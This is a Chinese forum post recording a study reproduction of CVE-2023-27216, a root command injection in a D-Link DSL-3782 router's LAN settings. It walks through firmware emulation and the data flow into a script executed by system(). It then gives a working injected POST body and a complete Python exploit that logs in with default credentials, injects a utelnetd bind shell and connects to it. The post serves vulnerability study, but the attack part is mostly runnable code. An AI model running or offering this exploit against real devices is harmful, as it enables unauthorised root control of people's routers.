首页
社区
课程
招聘
命令注入漏洞CVE-2023-27216复现(学习记录)
发表于: 2023-8-14 21:52 16929

命令注入漏洞CVE-2023-27216复现(学习记录)

2023-8-14 21:52
16929

ps:有论坛的朋友说想看一下这个漏洞的复现,因此有了这篇文章。

固件解包:

模拟固件:


通过查看DSL-3782的官方文档可知默认密码为:admin

根据漏洞描述披露的信息:在网络设置页面有一个需要认证的命令执行,并且是root权限。那么直接固件模拟,看一下网络设置页面的信息:

尝试更改一下其中数据,并点击Save,此时burpsuite抓到的数据包内容为:

根据数据包内容可知Save的数据提交到了/cgi-bin/New_GUI/Set/Network.asp,在文件系统中查找该文件并查看其内容:

由文件内容和数据包的内容可知:网页输入的Router IP Address、Subnet Mask的内容会分别被作为lan_ip1、lan_netmask1的值POST到/cgi-bin/New_GUI/Set/Network.asp。在Network.asp中将Lan_Entry0IP、netmask的值分别设定为lan_ip1、lan_netmask1,即用户传入的Router IP Address、Subnet Mask内容最终会传递到Lan_Entry0IP、netmask中。此时查找一下含Lan_Entry0的文件:

结合查找到的内容和之前分析CVE-2022-34527的信息可知漏洞点应该是在userfs/bin/cfg_manager中。将该文件拿到IDA中分析并结合关键词IP、netmask定位到关键代码并进行分析,在分析过程中会遇到字符串解析不正确和函数不识别问题,需要手动修复。修复方式:

通过上面代码可知:cfg_manager向/etc/lanconfig.sh文件中写入了可被前端控制的输入信息:IP(Router IP Address)、netmask(Subnet Mask),并将该文件设定为可读可写可执行。通过查看该文件的引用发现最终该文件会被system执行,并且为root权限。

现在我们已经知道了从mxmlFindElement函数获取到Entry0,再使用mxmlElementGetAttr函数获取IP或netmask的值到写入/etc/lanconfig.sh的过程中不存在对输入内容的检查。从mxmlFindElementmxmlElementGetAttr这两个函数名称可知是从一个xml文件中获取的数据。现在还需要确认从/cgi-bin/New_GUI/Set/Network.asp提交到写入xml文件这一过程中是否存在输入检查。通过分析找到该文件:

现在验证一下自定义的输入能否原封不动的写入到该文件中,使用FirmAE调试模式模拟固件,更改数据包发送后,用其提供的shell辅助查看/tmp/var/romfile.cfg文件中内容:

可以看到此时IP的内容即为更改的数据。顺便查看一下此时/etc/lanconfig.sh文件内容:


到这里整个漏洞分析算是基本完成了,大致的流程是:用户输入的数据被POST到/cgi-bin/New_GUI/Set/Network.asp,通过TCWebApi_Set将数据保存到Lan_Entry中,然后传递到cfg-manager,cfg-manager将其保存到/tmp/var/romfile.cfg文件中,最后通过mxmlElementGetAttr获取数据将其写入文件/etc/lanconfig.sh,最终被system执行。

在查看数据包时发现POST的数据是需要session的,因此选择使用Intercept on拦截数据包修改后发送。修改后POST的数据为:

使用nc连接成功,取得shell。

执行poc后,使用成功取得shell:

命令注入漏洞通常造成的原因相同:没有对前端输入数据检测或者检测不充分。这个命令注入漏洞和之前复现的几个略微不同的地方在于前端输入的数据最后是写到一个脚本文件中,通过给该文件添加执行权限,最终被system函数执行。

lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
import requests
import os
from time import sleep
 
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
    resp = s.get(url,headers=headers,timeout=100)
    print(resp.text)
 
 
def get_session_key():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url,headers=headers,timeout=100)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey
 
 
def poc(sessionKey=None):
    s = requests.Session()
    s.verify = False
 
    cmd = b";utelnetd -p 8090 -l /bin/sh;"
 
    post_data = b"lan_ip1=192.168.1.1"
    post_data += cmd
    post_data += b"&lan_netmask1=255.255.255.0&lan2_enable=No"
    post_data += b"&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0"
    post_data += b"&lan_dhcp_type=1&lan_dhcp_start=192.168.1.2&lan_dhcp_count=253&lan_dhcp_lease=86400"
    post_data += b"&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes"
    post_data += b"&lan2_active=No&sessionKey="
    post_data += sessionKey.encode(encoding="utf-8")
    url = main_url + "/cgi-bin/New_GUI/Set/Network.asp"
    s.post(url,data=post_data,headers=headers,timeout=10000)
    print(resp.text)
   
 
if __name__ == '__main__':
    print("\n[*] Connection ",main_url)
    login()
 
    print("[*] Getting session key")
    sessionKey = get_session_key()
 
    print("[*] Sending payload")
    poc(sessionKey=sessionKey)
    print("[*] Running Telnetd Service")
    print("[*] Opening Telnet Connection\n")
    sleep(3)
    os.system('telnet ' + str(server) + ' 8090')
import requests
import os
from time import sleep
 
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
    resp = s.get(url,headers=headers,timeout=100)
    print(resp.text)
 
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-8-15 08:46
0
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2023-8-15 09:14
0
雪    币: 2179
活跃值: (3495)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
vay
4
感谢分享
2023-8-15 09:58
0
雪    币: 250
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
 extract done!!!
get architecture done!!!
mke2fs 1.47.0(5-Feb-2023
e2fsck 1.47.0(5-Feb-2023
infer network start!!!
之后就没反应了,是怎么回事
2024-5-16 20:11
0
雪    币: 72
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
感谢分享
2024-6-19 09:15
0
游客
登录 | 注册 方可回帖
返回
//